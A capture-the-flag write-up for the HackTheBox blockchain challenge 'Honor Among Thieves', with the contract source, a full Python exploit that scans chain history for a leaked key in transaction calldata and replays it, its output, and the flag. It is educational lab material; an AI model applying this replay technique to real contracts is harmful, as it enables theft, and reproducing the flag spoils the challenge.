Honor Among Thieves
Author: 0xIDA
Platform: HTB · Category: blockchain · Difficulty: easy
Solvers
Summary
The challenge contract stores the encrypted flag and hash in private storage, but the real leak is the public blockchain history. Rival transactions already called talk(bytes32) repeatedly; one emitted Voice(5), meaning it used the correct key. I replayed that key from the transaction calldata with my provided wallet, set solver, and retrieved the flag from /flag.
Challenge Description
As Alex and the group journeyed towards the secret treasure, they noticed they were being followed. They decided to investigate and found a rival group with the second key to the treasure. Alex watched as the other group discussed their plans and listened closely, trying to learn as much as she could about their strengths. She knew they had to get the key if they wanted to reach the treasure and was determined to outsmart the rival group. Alex continued to spy on them, learning about their plans and preparing for any potential confrontations. As the night wore on, she realized that they would have to be careful in order to succeed and was ready to do whatever it took to get the key for her group.
Reconnaissance
Downloaded and extracted the challenge bundle:
mkdir -p /root/ctf/honor-among-thieves
cd /root/ctf/honor-among-thieves
curl -L -o challenge.zip '<challenge-download-url>'
unzip -P hackthebox challenge.zip
Initial service check:
nmap -sV -sC -p 31927 154.57.164.77 --open
Output:
31927/tcp open http Gunicorn
|_http-title: Honor Among Thieves
|_http-server-header: gunicorn
The web app exposed the standard HTB blockchain endpoints documented at /docs:
/connection_info— player private key/address and contract addresses/rpc— JSON-RPC endpoint/flag— returns the flag onceSetup.isSolved(player)is true
Relevant source:
contract Setup {
Rivals public immutable TARGET;
constructor(bytes32 _encryptedFlag, bytes32 _hashed) payable {
TARGET = new Rivals(_encryptedFlag, _hashed);
}
function isSolved(address _player) public view returns (bool) {
return TARGET.solver() == _player;
}
}
contract Rivals {
event Voice(uint256 indexed severity);
bytes32 private encryptedFlag;
bytes32 private hashedFlag;
address public solver;
function talk(bytes32 _key) external {
bytes32 _flag = _key ^ encryptedFlag;
if (keccak256(abi.encode(_flag)) == hashedFlag) {
solver = msg.sender;
emit Voice(5);
} else {
emit Voice(block.timestamp % 5);
}
}
}
Vulnerability Analysis
The intended clue is “eavesdrop.” encryptedFlag and hashedFlag are marked private, but Solidity private is not a confidentiality boundary. More importantly, every transaction and event on the local chain is public.
talk(bytes32) emits:
Voice(5)when the submitted key decrypts the stored flag correctly.Voice(block.timestamp % 5)otherwise.
So I scanned historical transactions sent to the target contract, decoded talk(bytes32) calldata, and checked receipts for a Voice event whose indexed severity topic equals 5. That transaction's calldata contains the correct key.
Function selector used:
talk(bytes32) => 0x52eab0fa
Event topic used:
Voice(uint256) => 0x8be9391af7bcf072cee3c17fdbdfa444b42ad0d498941bcd0eb684da1ebe0d62
Exploit Script
#!/usr/bin/env python3
import json
import urllib.request
BASE = "http://154.57.164.77:31927"
RPC = f"{BASE}/rpc"
TALK_SELECTOR = "52eab0fa" # talk(bytes32)
VOICE_TOPIC = "0x8be9391af7bcf072cee3c17fdbdfa444b42ad0d498941bcd0eb684da1ebe0d62"
SEVERITY_5 = "0x" + "0" * 63 + "5"
def http_get_json(path):
with urllib.request.urlopen(f"{BASE}{path}") as r:
return json.loads(r.read().decode())
def http_get_text(path):
with urllib.request.urlopen(f"{BASE}{path}") as r:
return r.read().decode()
def rpc(method, params=None):
if params is None:
params = []
body = json.dumps({"jsonrpc": "2.0", "id": 1, "method": method, "params": params}).encode()
req = urllib.request.Request(RPC, data=body, headers={"Content-Type": "application/json"})
with urllib.request.urlopen(req) as r:
res = json.loads(r.read().decode())
if "error" in res:
raise RuntimeError(res["error"])
return res["result"]
def main():
info = http_get_json("/connection_info")
player = info["Address"]
target = info["TargetAddress"].lower()
print(f"player = {player}")
print(f"target = {target}")
latest = int(rpc("eth_blockNumber"), 16)
winning_key = None
winning_tx = None
for n in range(latest + 1):
block = rpc("eth_getBlockByNumber", [hex(n), True])
if not block:
continue
for tx in block["transactions"]:
if (tx.get("to") or "").lower() != target:
continue
tx_input = tx.get("input", "")
if not tx_input.startswith("0x" + TALK_SELECTOR):
continue
receipt = rpc("eth_getTransactionReceipt", [tx["hash"]])
for log in receipt.get("logs", []):
topics = [t.lower() for t in log.get("topics", [])]
if len(topics) >= 2 and topics[0] == VOICE_TOPIC and topics[1] == SEVERITY_5:
winning_key = "0x" + tx_input[10:74]
winning_tx = tx["hash"]
break
if winning_key:
break
if winning_key:
break
if not winning_key:
raise SystemExit("winning key not found")
print(f"winning talk() tx = {winning_tx}")
print(f"winning key = {winning_key}")
data = "0x" + TALK_SELECTOR + winning_key[2:].rjust(64, "0")
tx_hash = rpc("eth_sendTransaction", [{"from": player, "to": target, "data": data, "gas": "0x186a0"}])
print(f"solve tx = {tx_hash}")
solver_slot = rpc("eth_getStorageAt", [target, "0x2", "latest"])
print(f"solver slot = {solver_slot}")
flag = http_get_text("/flag")
print(f"flag = {flag}")
if __name__ == "__main__":
main()
Verified Execution Output
I ran the exploit live against the HTB instance:
cd /root/ctf/honor-among-thieves
python3 solve.py | tee solve-output.txt
Output:
player = 0x81DeDC6288B17C1cC5ECDd818cadc599CD773E2F
target = 0x44c4181e6b0c2ad92d3aaa142448eec116368c5b
winning talk() tx = 0x767308961e70b35480399150f5a9768439433ec2db5802b281054f47a10871a7
winning key = 0x8c2f770bfad06f28d52c890fa84a63a9cbd7553fab51a2225787529ed95254ec
solve tx = 0xe221c34bf305926ae648be4d2af296ff5a3ea42a0f37e1da4abd21171c4c1b69
solver slot = 0x00000000000000000000000081dedc6288b17c1cc5ecdd818cadc599cd773e2f
flag = HTB{d0n7_741k_11573n_70_3v3n75!}
Flag
HTB{d0n7_741k_11573n_70_3v3n75!}
Tools Used
curlfor HTTP endpointsunzipfor challenge extractionnmapfor service identification- Python 3 standard library (
urllib.request,json) for JSON-RPC interaction
Key Takeaways
- Solidity
privatedoes not hide data from blockchain observers. - Transaction calldata and event logs are public and are often enough to recover secrets.
- Indexed event parameters appear in receipt topics, making
Voice(5)easy to detect. - In blockchain CTFs, scanning historical transactions is often the fastest way to “eavesdrop” on other actors.